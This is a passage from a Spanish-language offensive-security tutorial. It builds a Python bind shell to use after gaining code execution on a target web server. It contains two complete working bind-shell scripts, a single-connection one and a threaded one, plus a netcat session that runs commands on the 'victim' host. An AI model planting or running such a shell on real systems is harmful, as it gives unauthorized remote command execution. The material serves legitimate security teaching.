Accediendo a un servicio web interno con las credenciales que generamos usando la herramienta anterior, podemos obtener ejecución remota de código en el servidor web. Intentar usar nuestros reverse shells habituales, misteriosamente, no parece funcionar, pero descubrimos que podemos ejecutar scripts de Python arbitrarios. Aprovechemos ese descubrimiento implementando y ejecutando nuestro propio bind shell en Python.
Un bind shell es, en esencia, bastante simple. Es un proceso que se enlaza a una dirección y puerto en la máquina anfitriona y luego escucha las conexiones entrantes al socket. Cuando se establece una conexión, el bind shell escuchará repetidamente los bytes que se le envíen y los tratará como comandos en bruto para ser ejecutados en el sistema en un subproceso. Una vez que haya recibido todos los bytes en fragmentos de cierto tamaño, ejecutará el comando en el sistema anfitrión y enviará de vuelta la salida. Una implementación muy básica de un bind shell es esta:
A Simple Bind Shell
import socket
import subprocess
import click
def run_cmd(cmd):
output = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
return output.stdout
@click.command()
@click.option('--port', '-p', default=4444)
def main(port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', port))
s.listen(4)
client_socket, address = s.accept()
while True:
chunks = []
chunk = client_socket.recv(2048)
chunks.append(chunk)
while len(chunk) != 0 and chr(chunk[-1]) != '\n':
chunk = client_socket.recv(2048)
chunks.append(chunk)
cmd = (b''.join(chunks)).decode()[:-1]
if cmd.lower() == 'exit':
client_socket.close()
break
output = run_cmd(cmd)
client_socket.sendall(output)
if __name__ == '__main__':
main()
Dado que enviaremos esto a nuestro cliente, mejoraremos la calidad del código y lo haremos más confiable. No obstante, primero, analicémoslo.
El código consta de dos funciones hasta ahora: una función de envoltura para ejecutar comandos en el sistema y una función principal que contiene toda la lógica en un solo lugar. Esto es menos que ideal. La función principal configura un socket, lo enlaza a 0.0.0.0
(es decir, todas las interfaces disponibles) y el puerto deseado. Luego se configura para permitir como máximo cuatro conexiones no aceptadas antes de empezar a rechazar más conexiones; esto se configura mediante la función listen
. El socket entonces acepta nuevas conexiones entrantes. Esto se conoce como una llamada blocking call, lo que significa que el código se detendrá en esta línea y esperará a que se realice una conexión. Cuando se establece una conexión, la llamada accept
devuelve dos elementos que almacenamos en las variables client_socket
y address
.
Muchas cosas suceden dentro del bucle while
, así que desglosémoslo en partes más pequeñas. Primero, estos son nuestros objetivos:
- recibir todos los bytes entrantes desde el cliente conectado (nuestra máquina atacante),
- convertir los bytes entrantes en una cadena
cmd
, - cerrar la conexión si
cmd
es "exit", - de lo contrario, ejecutar el comando localmente y enviar de vuelta la salida.
Nota que eliminamos el último byte de la cadena cmd
. Este es un carácter de nueva línea proveniente de presionar enter al escribir el comando.
Cuando ejecutamos este script en nuestra máquina objetivo, podemos usar nc
en nuestra máquina atacante para conectarnos al bind shell y obtener ejecución remota de código:
Starting the Bind Shell
C:\Users\Birb\Desktop\python> python bindshell.py --port 4444
Connecting to the Bind Shell
nc 10.10.10.10 4444 -nv
(UNKNOWN) [10.10.10.10] 4444 (?) open
whoami
localnest\birb
hostname
LOCALNEST
dir
Volume in drive C has no label.
Volume Serial Number is 966B-6E6A
Directory of C:\Users\Birb\Desktop\python
20-03-2021 21:22 <DIR> .
20-03-2021 21:22 <DIR> ..
20-03-2021 21:22 929 bindshell.py
1 File(s) 929 bytes
2 Dir(s) 518.099.636.224 bytes free
exit
El inconveniente de la implementación actual es que, una vez que nos desconectamos, el proceso del bind shell se detiene. Una forma de solucionar esto es introducir threads y hacer que la parte del código que ejecuta comandos se ejecute en un hilo. Esto nos permitiría crear un nuevo hilo cada vez que una máquina se conecte al shell, y luego solo tendríamos que detener el hilo adicional cuando el shell salga.
En términos generales, los threads son un tema vasto y complejo, y Python también tiene sus particularidades. Para resumir, los threads nos permiten ejecutar diferentes partes del código concurrentemente, similar a cómo los humanos realizan múltiples tareas. Ten en cuenta que concurrentemente no es lo mismo que en paralelo. En nuestro ejemplo, esto significa que mientras un hilo está ocupado trabajando para nuestro cliente conectado, otro hilo (el principal) está listo para aceptar una nueva conexión entrante. Una vez que se realiza otra conexión, estos dos clientes conectados pueden ejecutar código en la máquina víctima utilizando el mismo bind shell.
Al simplemente extraer el código que maneja la ejecución de comandos en su propia función, es posible hacer que el bind shell primero escuche una nueva conexión, cree un hilo para esa conexión que maneje la ejecución de comandos y, finalmente, vuelva a empezar a escuchar nuevas conexiones entrantes.
Supporting multiple connections
import socket
import subprocess
import click
from threading import Thread
def run_cmd(cmd):
output = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
return output.stdout
def handle_input(client_socket):
while True:
chunks = []
chunk = client_socket.recv(2048)
chunks.append(chunk)
while len(chunk) != 0 and chr(chunk[-1]) != '\n':
chunk = client_socket.recv(2048)
chunks.append(chunk)
cmd = (b''.join(chunks)).decode()[:-1]
if cmd.lower() == 'exit':
client_socket.close()
break
output = run_cmd(cmd)
client_socket.sendall(output)
@click.command()
@click.option('--port', '-p', default=4444)
def main(port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', port))
s.listen(4)
while True:
client_socket, _ = s.accept()
t = Thread(target=handle_input, args=(client_socket, ))
t.start()
if __name__ == '__main__':
main()
Threading Example
Como podemos ver, hemos agregado una función handle_input
que acepta un client_socket
como parámetro. Cuando creamos un nuevo objeto Thread
, configurando el target
(función a ejecutar) y los parámetros de entrada como un tuple, podemos iniciar este thread y dejar que se ejecute en segundo plano. Además, se agregó un from threading import Thread
en la parte superior.
También, presta mucha atención a los args
en el constructor de Thread
. Este es un tuple con solo un valor. Para diferenciar entre tuples de un solo valor y "paréntesis de agrupación", por ejemplo:
('Hello ' + 'world').upper()
que llamará a upper()
sobre la cadena concatenada y no solo sobre "world", la sintaxis para tuples de un solo valor es:
(val1, )
Para tuples de dos valores, se utiliza:
(val1, val2)
y así sucesivamente. Además, sí, eso es una coma y luego nada para tuples de un solo valor. ¿Confuso? Tal vez. Solo recuerda que (5)
es lo mismo que 5
porque los paréntesis se usan para agrupar, por lo que necesitamos alguna forma de diferenciar entre agrupación sintáctica y un tipo tuple.